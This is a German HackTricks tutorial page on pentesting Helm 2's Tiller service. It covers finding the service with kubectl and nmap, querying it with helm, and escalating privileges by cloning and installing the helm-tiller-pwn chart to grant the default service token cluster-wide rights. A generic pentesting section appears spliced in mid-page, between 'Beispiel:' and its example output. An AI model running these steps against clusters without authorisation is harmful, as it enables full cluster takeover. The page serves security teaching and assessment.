mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
149 lines
8.1 KiB
Markdown
149 lines
8.1 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|
|
|
|
|
|
# Grundlegende Informationen
|
|
|
|
Helm ist der **Paketmanager** für Kubernetes. Es ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden als **Helm-Charts** bezeichnet. **Tiller** ist der **Dienst**, der standardmäßig auf Port 44134 läuft und den Service anbietet.
|
|
|
|
**Standardport:** 44134
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
44134/tcp open unknown
|
|
```
|
|
# Enumeration
|
|
|
|
Wenn Sie Pods und/oder Services in verschiedenen Namespaces aufzählen können, zählen Sie sie auf und suchen Sie nach denen mit dem Namen **"tiller"**:
|
|
```bash
|
|
kubectl get pods | grep -i "tiller"
|
|
kubectl get services | grep -i "tiller"
|
|
kubectl get pods -n kube-system | grep -i "tiller"
|
|
kubectl get services -n kube-system | grep -i "tiller"
|
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
|
kubectl get services -n <namespace> | grep -i "tiller"
|
|
```
|
|
Beispiel:
|
|
|
|
# Pentesting Tiller (Helm)
|
|
|
|
## Einführung
|
|
|
|
Tiller ist der Server-Komponente von Helm, einem Paketmanager für Kubernetes. In diesem Abschnitt werden einige Techniken zum Pentesting von Tiller vorgestellt.
|
|
|
|
## Informationen sammeln
|
|
|
|
### Version überprüfen
|
|
|
|
Um die Version von Tiller zu überprüfen, können Sie den Befehl `helm version` verwenden.
|
|
|
|
```bash
|
|
$ helm version
|
|
```
|
|
|
|
### Tiller-Endpunkt ermitteln
|
|
|
|
Um den Tiller-Endpunkt zu ermitteln, können Sie den Befehl `kubectl get endpoints -n kube-system` verwenden und nach dem Tiller-Dienst suchen.
|
|
|
|
```bash
|
|
$ kubectl get endpoints -n kube-system
|
|
```
|
|
|
|
## Schwachstellenanalyse
|
|
|
|
### Standardanmeldeinformationen
|
|
|
|
Tiller verwendet standardmäßig keine Anmeldeinformationen. Dies kann zu Sicherheitsproblemen führen, da jeder mit Zugriff auf den Tiller-Endpunkt auf den Cluster zugreifen kann.
|
|
|
|
### Fehlende Berechtigungsprüfung
|
|
|
|
Tiller überprüft standardmäßig nicht die Berechtigungen für die Installation oder Aktualisierung von Charts. Dies ermöglicht es einem Angreifer, bösartige Charts zu installieren oder vorhandene Charts zu aktualisieren.
|
|
|
|
### Unzureichende Zugriffskontrollen
|
|
|
|
Tiller verwendet standardmäßig keine Zugriffskontrollen, was bedeutet, dass jeder mit Zugriff auf den Tiller-Endpunkt beliebige Aktionen ausführen kann.
|
|
|
|
## Exploitation
|
|
|
|
### Bösartige Charts
|
|
|
|
Ein Angreifer kann bösartige Charts erstellen und diese über Tiller installieren. Diese Charts können schädlichen Code enthalten, der im Cluster ausgeführt wird.
|
|
|
|
### Chart-Manipulation
|
|
|
|
Ein Angreifer kann vorhandene Charts manipulieren und bösartigen Code hinzufügen. Wenn ein Administrator diese Charts aktualisiert, wird der bösartige Code im Cluster ausgeführt.
|
|
|
|
## Gegenmaßnahmen
|
|
|
|
### Authentifizierung und Autorisierung
|
|
|
|
Es wird empfohlen, Tiller mit Authentifizierung und Autorisierung zu konfigurieren, um unbefugten Zugriff zu verhindern.
|
|
|
|
### Zugriffskontrollen
|
|
|
|
Es wird empfohlen, Zugriffskontrollen für Tiller zu implementieren, um die Aktionen, die ein Benutzer ausführen kann, einzuschränken.
|
|
|
|
### Aktualisierung der Tiller-Version
|
|
|
|
Es wird empfohlen, Tiller regelmäßig zu aktualisieren, um von den neuesten Sicherheitsupdates zu profitieren.
|
|
|
|
## Fazit
|
|
|
|
Tiller kann aufgrund seiner Standardkonfiguration und fehlenden Sicherheitsmaßnahmen zu Sicherheitsproblemen führen. Durch die Implementierung von Authentifizierung, Autorisierung und Zugriffskontrollen sowie regelmäßige Aktualisierungen können diese Risiken minimiert werden.
|
|
```bash
|
|
kubectl get pods -n kube-system
|
|
NAME READY STATUS RESTARTS AGE
|
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
|
|
|
kubectl get services -n kube-system
|
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
|
```
|
|
Sie können auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:
|
|
```bash
|
|
sudo nmap -sS -p 44134 <IP>
|
|
```
|
|
Sobald Sie es entdeckt haben, können Sie mit dem Herunterladen der Client-Anwendung Helm kommunizieren. Sie können Tools wie `homebrew` verwenden oder sich [**die offizielle Veröffentlichungsseite**](https://github.com/helm/helm/releases)** ansehen**. Weitere Details oder andere Optionen finden Sie in [der Installationsanleitung](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
|
|
|
Dann können Sie den Dienst **aufzählen**:
|
|
```
|
|
helm --host tiller-deploy.kube-system:44134 version
|
|
```
|
|
## Privilege Escalation
|
|
|
|
Standardmäßig wurde **Helm2** im **Namespace kube-system** mit **hohen Privilegien** installiert. Wenn du den Service findest und Zugriff darauf hast, kannst du dadurch **Privilegien eskalieren**.
|
|
|
|
Alles, was du tun musst, ist ein Paket wie dieses zu installieren: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn). Dadurch erhält der **Standard-Service-Token Zugriff auf alles im gesamten Cluster**.
|
|
```
|
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
|
/pwnchart
|
|
```
|
|
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) finden Sie die **Erklärung des Angriffs**, aber im Grunde genommen können Sie in den Dateien [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) und [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) innerhalb von _helm-tiller-pwn/pwnchart/templates/_ sehen, wie **alle Berechtigungen dem Standard-Token zugewiesen werden**.
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|